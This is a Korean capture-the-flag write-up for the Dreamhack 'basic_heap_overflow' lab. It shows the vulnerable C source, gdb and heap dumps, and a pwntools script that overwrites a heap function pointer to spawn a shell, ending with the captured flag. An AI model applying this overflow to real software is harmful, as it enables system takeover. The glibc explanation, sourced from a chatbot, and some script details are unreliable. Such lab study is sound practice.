dreamhack - basic_heap_overflow writeup
[dreamhack] basic_heap_overflow writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(basic_heap_overflow)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
ptr
과 over
에 각각 0x20
만큼 malloc
함수를 통해 할당하고, over->table
에는 table_func
를 넣어서 실행한다.
scanf
함수를 통해서 ptr
에 입력을 주는데, 문제 이름에서 볼 수 있다시피 heap overflow
를 이용해서 ptr
부터 over
까지 덮으면된다.
다만, 이번에는 스택에서 덮는 것이 아니라 힙에서 덮는 것이므로 더 낮은 주소에서 높은 주소로 덮게 된다.
힙에 대해서는 많이 다뤄보지않아서 이것저것 공부를 하면서 했는데 먼저 노가다로 푸는 방법을 보자.
pwndbg> disass main
Dump of assembler code for function main:
0x080486ad <+0>: lea ecx,[esp+0x4]
0x080486b1 <+4>: and esp,0xfffffff0
0x080486b4 <+7>: push DWORD PTR [ecx-0x4]
0x080486b7 <+10>: push ebp
0x080486b8 <+11>: mov ebp,esp
0x080486ba <+13>: push ecx
0x080486bb <+14>: sub esp,0x14
0x080486be <+17>: sub esp,0xc
0x080486c1 <+20>: push 0x20
0x080486c3 <+22>: call 0x8048490 <malloc@plt>
0x080486c8 <+27>: add esp,0x10
0x080486cb <+30>: mov DWORD PTR [ebp-0x10],eax
0x080486ce <+33>: sub esp,0xc
0x080486d1 <+36>: push 0x20
0x080486d3 <+38>: call 0x8048490 <malloc@plt>
0x080486d8 <+43>: add esp,0x10
0x080486db <+46>: mov DWORD PTR [ebp-0xc],eax
0x080486de <+49>: call 0x804862b <initialize>
0x080486e3 <+54>: mov eax,DWORD PTR [ebp-0xc]
0x080486e6 <+57>: mov DWORD PTR [eax],0x8048694
0x080486ec <+63>: sub esp,0x8
0x080486ef <+66>: push DWORD PTR [ebp-0x10]
0x080486f2 <+69>: push 0x80487cf
0x080486f7 <+74>: call 0x80484f0 <__isoc99_scanf@plt>
0x080486fc <+79>: add esp,0x10
0x080486ff <+82>: mov eax,DWORD PTR [ebp-0xc]
0x08048702 <+85>: mov eax,DWORD PTR [eax]
0x08048704 <+87>: test eax,eax
0x08048706 <+89>: jne 0x804870f <main+98>
0x08048708 <+91>: mov eax,0x0
0x0804870d <+96>: jmp 0x804871b <main+110>
0x0804870f <+98>: mov eax,DWORD PTR [ebp-0xc]
0x08048712 <+101>: mov eax,DWORD PTR [eax]
0x08048714 <+103>: call eax
0x08048716 <+105>: mov eax,0x0
0x0804871b <+110>: mov ecx,DWORD PTR [ebp-0x4]
0x0804871e <+113>: leave
0x0804871f <+114>: lea esp,[ecx-0x4]
0x08048722 <+117>: ret
End of assembler dump.
gdb
를 보면 두번의 malloc
을 수행하고, initialize
와 scanf
사이에 0x8048694
주소를 [ebp-0xc]
가 가리키는 주소에 넣는 것을 볼 수 있다.
main+63
에 breakpoint를 걸고 [ebp-0xc]
를 보면 아래와 같이 보인다.
pwndbg> x/10ax $ebp-0xc
0xffffd2dc: 0x0804b1d0 0x00000000 0xffffd300 0x00000000
0xffffd2ec: 0xf7da1cb9 0x00000000 0x00000000 0xf7dbb13d
0xffffd2fc: 0xf7da1cb9 0x00000001
0x0804b1d0
을 가리키고 있으니 이걸 다시 확인해보자.
pwndbg> x/10ax 0x0804b1d0
0x804b1d0: 0x08048694 0x00000000 0x00000000 0x00000000
0x804b1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b1f0: 0x00000000 0x0000000
위 코드에서 넣던 주소가 들어가있는 것을 확인할 수 있고, 0x08048694
가 table_func의 주소이다.
pwndbg> p table_func
$3 = {<text variable, no debug info>} 0x8048694 <table_func>
그러면 ptr
이 할당받은 힙 주소는 어디일지 확인해보자. ptr
은 [ebp-0x10]
에 힙 주소가 위치하고 있으므로 확인해보면 0x0804b1a0
이다.
pwndbg> x/10ax $ebp-0x10
0xffffd2d8: 0x0804b1a0 0x0804b1d0 0x00000000 0xffffd300
0xffffd2e8: 0x00000000 0xf7da1cb9 0x00000000 0x00000000
0xffffd2f8: 0xf7dbb13d 0xf7da1cb9
ptr
이 할당받은 힙 주소가 0x0804b1a0
이고, over
내에 table_func
함수의 주소가 들어간 위치는 0x0804b1d0
이므로 둘의 차이는 0x30
이다.
따라서 0x30
만큼 덮어준 뒤, get_shell
함수의 주소로 이어서 덮게 되면 table_func
함수 대신에 get_shell
함수가 실행될 것이다.
처음에는 아래와 같이 exploit을 작성하였다.
from pwn import *
p = process("./basic_heap_overflow")
#p = remote("host3.dreamhack.games", 10346)
elf = ELF("./basic_heap_overflow")
get_shell = elf.symbols["get_shell"]
payload = b''
payload += b'a' * 48
payload += p64(get_shell)
p.sendline(payload)
p.interactive()
로컬에서는 아래와 같이 잘 동작하는 것까지 확인할 수 있었다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py
[+] Starting local process './basic_heap_overflow': pid 2183117
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
그런데 이를 서버환경에서 수행해보니 문제가 생겼고, 혹시 약간의 오차가 발생하나 싶어서 8바이트를 빼고 했더니 flag를 얻을 수 있었다.
from pwn import *
p = process("./basic_heap_overflow")
#p = remote("host3.dreamhack.games", 10346)
elf = ELF("./basic_heap_overflow")
get_shell = elf.symbols["get_shell"]
payload = b''
payload += b'a' * 40 # local: 48 / server: 40
payload += p64(get_shell)
p.sendline(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py
[+] Opening connection to host3.dreamhack.games on port 10346: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
$ id
uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
$ cat flag
DH{f1c2027b0b36ee204723079c7ae6c042}
2.1. 서버/로컬 환경 차이 발생 이유
여러가지 이유를 찾아봤지만 가장 유력한 것은 glibc
버전에 따른 malloc
메타데이터의 차이로 보인다.
GPT에 질문해본 결과, glibc
는 malloc
할당 시에 메타데이터(header)를 청크 앞에 저장하고, 이 메타데이터의 크기는 glibc 버전, 사용한 힙 구현 방식, 그리고 align 방식에 따라 달라진다고 한다.
특히 glibc 2.27 이전의 malloc 청크 헤더 크기는 일반적으로 0x10이지만, glibc 2.29 이상부터는 tcache가 기본 활성화되며, 구조가 바뀌어 0x18 등으로 바뀔 수 있다고 한다.
따라서, 같은 크기의 malloc을 해도 실제 힙에 할당되는 크기(chunk size)가 달라지고, 이로 인해 주소 차이도 달라질 수 있다.
실제로 서버와 로컬에서의 환경을 보니 정확히 달랐던 것을 확인할 수 있었다.
- 서버 환경:
GLIBC 2.23
사용ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py [+] Opening connection to host3.dreamhack.games on port 10346: Done [!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine [*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode $ $ id uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow) $ ldd --version ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23 Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper.
- 로컬 환경:
GLIBC 2.39
사용ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ ldd --version ldd (Ubuntu GLIBC 2.39-0ubuntu8.4) 2.39 Copyright (C) 2024 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper.
2.2. pwndbg에서 heap 주소 쉽게 구하기
위 풀이에서는 heap 주소를 stack에서 하나하나 찾아서 구했지만, pwndbg
의 heap -v
명령어를 통해 훨씬 쉽고 정확하게 실제 힙 주소를 알 수 있다.
pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x804b008
prev_size: 0x00
size: 0x190 (with flag bits: 0x191)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x804b198
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x8048694
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
Top chunk | PREV_INUSE
Addr: 0x804b1f8
prev_size: 0x00
size: 0x21e08 (with flag bits: 0x21e09)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
두번째와 세번째 chunk
가 할당된 힙임을 알 수 있고, 세번째 chunk
의 fd
에 0x8048694
주소가 들어가있는 것을 보면 이게 over
일 것이다.
따라서 두번째 chunk
가 ptr
힙이 되고, 두 힙의 주소 차이는 Addr
의 차이를 구하면 된다.
그런데 위 풀이에서 본 주소는 각각 0x804b1a0
, 0x804b1d0
이었는데 여기서는 8바이트씩 작아진 0x804b198
, 0x804b1c8
임을 볼 수 있다.
heap -v
로 보는 주소는 힙 청크 전체의 시작주소로서, prev_size
필드와 size
필드가 포함된 주소이다. 따라서 각 필드당 4바이트씩 총 8바이트가 사실 앞에 있는 것이고, 스택에서 본 주소는 메타데이터를 건너뛴 데이터가 존재하는 주소로 연결되어있다.
해결~